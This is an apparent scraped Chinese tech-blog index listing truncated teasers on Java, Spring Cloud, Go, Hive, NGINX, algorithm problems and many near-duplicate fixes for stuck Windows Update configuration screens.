工具类 import org.apache.poi.ss.usermodel.Cell; import org.apache.poi.ss.usermodel.CellType; import org.apache.poi.ss.usermodel.Row; import org.apache.poi.ss.usermodel.Sheet;/*** Excel工具类** author xiaoming* date 2023/11/17 10:40*/ public class ExcelUti…...
2024/4/30 0:57:52 - Spring cloud负载均衡@LoadBalanced LoadBalancerClient
LoadBalance vs Ribbon 由于Spring cloud2020之后移除了Ribbon,直接使用Spring Cloud LoadBalancer作为客户端负载均衡组件,我们讨论Spring负载均衡以Spring Cloud2020之后版本为主,学习Spring Cloud LoadBalance,暂不讨论Ribbon…...
2024/4/29 18:43:42 - TSINGSEE青犀AI智能分析+视频监控工业园区周界安全防范方案
一、背景需求分析 在工业产业园、化工园或生产制造园区中,周界防范意义重大,对园区的安全起到重要的作用。常规的安防方式是采用人员巡查,人力投入成本大而且效率低。周界一旦被破坏或入侵,会影响园区人员和资产安全,…...
2024/4/29 19:40:09 - VB.net WebBrowser网页元素抓取分析方法
在用WebBrowser编程实现网页操作自动化时,常要分析网页Html,例如网页在加载数据时,常会显示“系统处理中,请稍候..”,我们需要在数据加载完成后才能继续下一步操作,如何抓取这个信息的网页html元素变化&…...
2024/4/30 23:32:22 - 【Objective-C】Objective-C汇总
方法定义 参考:https://www.yiibai.com/objective_c/objective_c_functions.html Objective-C编程语言中方法定义的一般形式如下 - (return_type) method_name:( argumentType1 )argumentName1 joiningArgument2:( argumentType2 )argumentName2 ... joiningArgu…...
2024/4/30 23:16:16 - 【洛谷算法题】P5713-洛谷团队系统【入门2分支结构】
👨💻博客主页:花无缺 欢迎 点赞👍 收藏⭐ 留言📝 加关注✅! 本文由 花无缺 原创 收录于专栏 【洛谷算法题】 文章目录 【洛谷算法题】P5713-洛谷团队系统【入门2分支结构】🌏题目描述🌏输入格…...
2024/4/30 0:57:50 - 【ES6.0】- 扩展运算符(...)
【ES6.0】- 扩展运算符... 文章目录 【ES6.0】- 扩展运算符...一、概述二、拷贝数组对象三、合并操作四、参数传递五、数组去重六、字符串转字符数组七、NodeList转数组八、解构变量九、打印日志十、总结 一、概述 **扩展运算符(...)**允许一个表达式在期望多个参数࿰…...
2024/4/29 21:25:29 - 摩根看好的前智能硬件头部品牌双11交易数据极度异常!——是模式创新还是饮鸩止渴?
文 | 螳螂观察 作者 | 李燃 双11狂欢已落下帷幕,各大品牌纷纷晒出优异的成绩单,摩根士丹利投资的智能硬件头部品牌凯迪仕也不例外。然而有爆料称,在自媒体平台发布霸榜各大榜单喜讯的凯迪仕智能锁,多个平台数据都表现出极度异常…...
2024/4/30 0:57:49 - Go语言常用命令详解(二)
文章目录 前言常用命令go bug示例参数说明 go doc示例参数说明 go env示例 go fix示例 go fmt示例 go generate示例 总结写在最后 前言 接着上一篇继续介绍Go语言的常用命令 常用命令 以下是一些常用的Go命令,这些命令可以帮助您在Go开发中进行编译、测试、运行和…...
2024/4/30 14:53:47 - 用欧拉路径判断图同构推出reverse合法性:1116T4
http://cplusoj.com/d/senior/p/SS231116D 假设我们要把 a a a 变成 b b b,我们在 a i a_i ai 和 a i 1 a_{i1} ai1 之间连边, b b b 同理,则 a a a 能变成 b b b 的充要条件是两图 A , B A,B A,B 同构。 必要性显然࿰…...
2024/4/30 22:14:26 - 【NGINX--1】基础知识
1、在 Debian/Ubuntu 上安装 NGINX 在 Debian 或 Ubuntu 机器上安装 NGINX 开源版。 更新已配置源的软件包信息,并安装一些有助于配置官方 NGINX 软件包仓库的软件包: apt-get update apt install -y curl gnupg2 ca-certificates lsb-release debian-…...
2024/4/29 7:41:18 - Hive默认分割符、存储格式与数据压缩
目录 1、Hive默认分割符2、Hive存储格式3、Hive数据压缩 1、Hive默认分割符 Hive创建表时指定的行受限(ROW FORMAT)配置标准HQL为: ... ROW FORMAT DELIMITED FIELDS TERMINATED BY \u0001 COLLECTION ITEMS TERMINATED BY , MAP KEYS TERMI…...
2024/4/30 22:57:18 - 【论文阅读】MAG:一种用于航天器遥测数据中有效异常检测的新方法
文章目录 摘要1 引言2 问题描述3 拟议框架4 所提出方法的细节A.数据预处理B.变量相关分析C.MAG模型D.异常分数 5 实验A.数据集和性能指标B.实验设置与平台C.结果和比较 6 结论 摘要 异常检测是保证航天器稳定性的关键。在航天器运行过程中,传感器和控制器产生大量周…...
2024/4/30 20:39:53 - --max-old-space-size=8192报错
vue项目运行时,如果经常运行慢,崩溃停止服务,报如下错误 FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory 因为在 Node 中,通过JavaScript使用内存时只能使用部分内存(64位系统&…...
2024/4/30 0:57:46 - 基于深度学习的恶意软件检测
恶意软件是指恶意软件犯罪者用来感染个人计算机或整个组织的网络的软件。 它利用目标系统漏洞,例如可以被劫持的合法软件(例如浏览器或 Web 应用程序插件)中的错误。 恶意软件渗透可能会造成灾难性的后果,包括数据被盗、勒索或网…...
2024/4/30 0:57:46 - JS原型对象prototype
让我简单的为大家介绍一下原型对象prototype吧! 使用原型实现方法共享 1.构造函数通过原型分配的函数是所有对象所 共享的。 2.JavaScript 规定,每一个构造函数都有一个 prototype 属性,指向另一个对象,所以我们也称为原型对象…...
2024/4/29 3:42:58 - C++中只能有一个实例的单例类
C中只能有一个实例的单例类 前面讨论的 President 类很不错,但存在一个缺陷:无法禁止通过实例化多个对象来创建多名总统: President One, Two, Three; 由于复制构造函数是私有的,其中每个对象都是不可复制的,但您的目…...
2024/4/29 19:56:39 - python django 小程序图书借阅源码
开发工具: PyCharm,mysql5.7,微信开发者工具 技术说明: python django html 小程序 功能介绍: 用户端: 登录注册(含授权登录) 首页显示搜索图书,轮播图࿰…...
2024/4/29 8:41:59 - 电子学会C/C++编程等级考试2022年03月(一级)真题解析
C/C++等级考试(1~8级)全部真题・点这里 第1题:双精度浮点数的输入输出 输入一个双精度浮点数,保留8位小数,输出这个浮点数。 时间限制:1000 内存限制:65536输入 只有一行,一个双精度浮点数。输出 一行,保留8位小数的浮点数。样例输入 3.1415926535798932样例输出 3.1…...
2024/4/30 20:52:33 - 配置失败还原请勿关闭计算机,电脑开机屏幕上面显示,配置失败还原更改 请勿关闭计算机 开不了机 这个问题怎么办...
解析如下:1、长按电脑电源键直至关机,然后再按一次电源健重启电脑,按F8健进入安全模式2、安全模式下进入Windows系统桌面后,按住“winR”打开运行窗口,输入“services.msc”打开服务设置3、在服务界面,选中…...
2022/11/19 21:17:18 - 错误使用 reshape要执行 RESHAPE,请勿更改元素数目。
%读入6幅图像(每一幅图像的大小是564*564) f1 imread(WashingtonDC_Band1_564.tif); subplot(3,2,1),imshow(f1); f2 imread(WashingtonDC_Band2_564.tif); subplot(3,2,2),imshow(f2); f3 imread(WashingtonDC_Band3_564.tif); subplot(3,2,3),imsho…...
2022/11/19 21:17:16 - 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机...
win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”问题的解决方法在win7系统关机时如果有升级系统的或者其他需要会直接进入一个 等待界面,在等待界面中我们需要等待操作结束才能关机,虽然这比较麻烦,但是对系统进行配置和升级…...
2022/11/19 21:17:15 - 台式电脑显示配置100%请勿关闭计算机,“准备配置windows 请勿关闭计算机”的解决方法...
有不少用户在重装Win7系统或更新系统后会遇到“准备配置windows,请勿关闭计算机”的提示,要过很久才能进入系统,有的用户甚至几个小时也无法进入,下面就教大家这个问题的解决方法。第一种方法:我们首先在左下角的“开始…...
2022/11/19 21:17:14 - win7 正在配置 请勿关闭计算机,怎么办Win7开机显示正在配置Windows Update请勿关机...
置信有很多用户都跟小编一样遇到过这样的问题,电脑时发现开机屏幕显现“正在配置Windows Update,请勿关机”(如下图所示),而且还需求等大约5分钟才干进入系统。这是怎样回事呢?一切都是正常操作的,为什么开时机呈现“正…...
2022/11/19 21:17:13 - 准备配置windows 请勿关闭计算机 蓝屏,Win7开机总是出现提示“配置Windows请勿关机”...
Win7系统开机启动时总是出现“配置Windows请勿关机”的提示,没过几秒后电脑自动重启,每次开机都这样无法进入系统,此时碰到这种现象的用户就可以使用以下5种方法解决问题。方法一:开机按下F8,在出现的Windows高级启动选…...
2022/11/19 21:17:12 - 准备windows请勿关闭计算机要多久,windows10系统提示正在准备windows请勿关闭计算机怎么办...
有不少windows10系统用户反映说碰到这样一个情况,就是电脑提示正在准备windows请勿关闭计算机,碰到这样的问题该怎么解决呢,现在小编就给大家分享一下windows10系统提示正在准备windows请勿关闭计算机的具体第一种方法:1、2、依次…...
2022/11/19 21:17:11 - 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”的解决方法...
今天和大家分享一下win7系统重装了Win7旗舰版系统后,每次关机的时候桌面上都会显示一个“配置Windows Update的界面,提示请勿关闭计算机”,每次停留好几分钟才能正常关机,导致什么情况引起的呢?出现配置Windows Update…...
2022/11/19 21:17:10 - 电脑桌面一直是清理请关闭计算机,windows7一直卡在清理 请勿关闭计算机-win7清理请勿关机,win7配置更新35%不动...
只能是等着,别无他法。说是卡着如果你看硬盘灯应该在读写。如果从 Win 10 无法正常回滚,只能是考虑备份数据后重装系统了。解决来方案一:管理员运行cmd:net stop WuAuServcd %windir%ren SoftwareDistribution SDoldnet start WuA…...
2022/11/19 21:17:09 - 计算机配置更新不起,电脑提示“配置Windows Update请勿关闭计算机”怎么办?
原标题:电脑提示“配置Windows Update请勿关闭计算机”怎么办?win7系统中在开机与关闭的时候总是显示“配置windows update请勿关闭计算机”相信有不少朋友都曾遇到过一次两次还能忍但经常遇到就叫人感到心烦了遇到这种问题怎么办呢?一般的方…...
2022/11/19 21:17:08 - 计算机正在配置无法关机,关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机...
关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!关机提示 windows7 正在配…...
2022/11/19 21:17:05 - 钉钉提示请勿通过开发者调试模式_钉钉请勿通过开发者调试模式是真的吗好不好用...
钉钉请勿通过开发者调试模式是真的吗好不好用 更新时间:2020-04-20 22:24:19 浏览次数:729次 区域: 南阳 > 卧龙 列举网提醒您:为保障您的权益,请不要提前支付任何费用! 虚拟位置外设器!!轨迹模拟&虚拟位置外设神器 专业用于:钉钉,外勤365,红圈通,企业微信和…...
2022/11/19 21:17:05 - 配置失败还原请勿关闭计算机怎么办,win7系统出现“配置windows update失败 还原更改 请勿关闭计算机”,长时间没反应,无法进入系统的解决方案...
前几天班里有位学生电脑(windows 7系统)出问题了,具体表现是开机时一直停留在“配置windows update失败 还原更改 请勿关闭计算机”这个界面,长时间没反应,无法进入系统。这个问题原来帮其他同学也解决过,网上搜了不少资料&#x…...
2022/11/19 21:17:04 - 一个电脑无法关闭计算机你应该怎么办,电脑显示“清理请勿关闭计算机”怎么办?...
本文为你提供了3个有效解决电脑显示“清理请勿关闭计算机”问题的方法,并在最后教给你1种保护系统安全的好方法,一起来看看!电脑出现“清理请勿关闭计算机”在Windows 7(SP1)和Windows Server 2008 R2 SP1中,添加了1个新功能在“磁…...
2022/11/19 21:17:03 - 请勿关闭计算机还原更改要多久,电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机怎么办...
许多用户在长期不使用电脑的时候,开启电脑发现电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机。。.这要怎么办呢?下面小编就带着大家一起看看吧!如果能够正常进入系统,建议您暂时移…...
2022/11/19 21:17:02 - 还原更改请勿关闭计算机 要多久,配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以...
配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!配置windows update失败 还原更改 请勿关闭计算机&#x…...
2022/11/19 21:17:01 - 电脑配置中请勿关闭计算机怎么办,准备配置windows请勿关闭计算机一直显示怎么办【图解】...
不知道大家有没有遇到过这样的一个问题,就是我们的win7系统在关机的时候,总是喜欢显示“准备配置windows,请勿关机”这样的一个页面,没有什么大碍,但是如果一直等着的话就要两个小时甚至更久都关不了机,非常…...
2022/11/19 21:17:00 - 正在准备配置请勿关闭计算机,正在准备配置windows请勿关闭计算机时间长了解决教程...
当电脑出现正在准备配置windows请勿关闭计算机时,一般是您正对windows进行升级,但是这个要是长时间没有反应,我们不能再傻等下去了。可能是电脑出了别的问题了,来看看教程的说法。正在准备配置windows请勿关闭计算机时间长了方法一…...
2022/11/19 21:16:59 - 配置失败还原请勿关闭计算机,配置Windows Update失败,还原更改请勿关闭计算机...
我们使用电脑的过程中有时会遇到这种情况,当我们打开电脑之后,发现一直停留在一个界面:“配置Windows Update失败,还原更改请勿关闭计算机”,等了许久还是无法进入系统。如果我们遇到此类问题应该如何解决呢࿰…...
2022/11/19 21:16:58 - 如何在iPhone上关闭“请勿打扰”
Apple’s “Do Not Disturb While Driving” is a potentially lifesaving iPhone feature, but it doesn’t always turn on automatically at the appropriate time. For example, you might be a passenger in a moving car, but your iPhone may think you’re the one dri…...
2022/11/19 21:16:57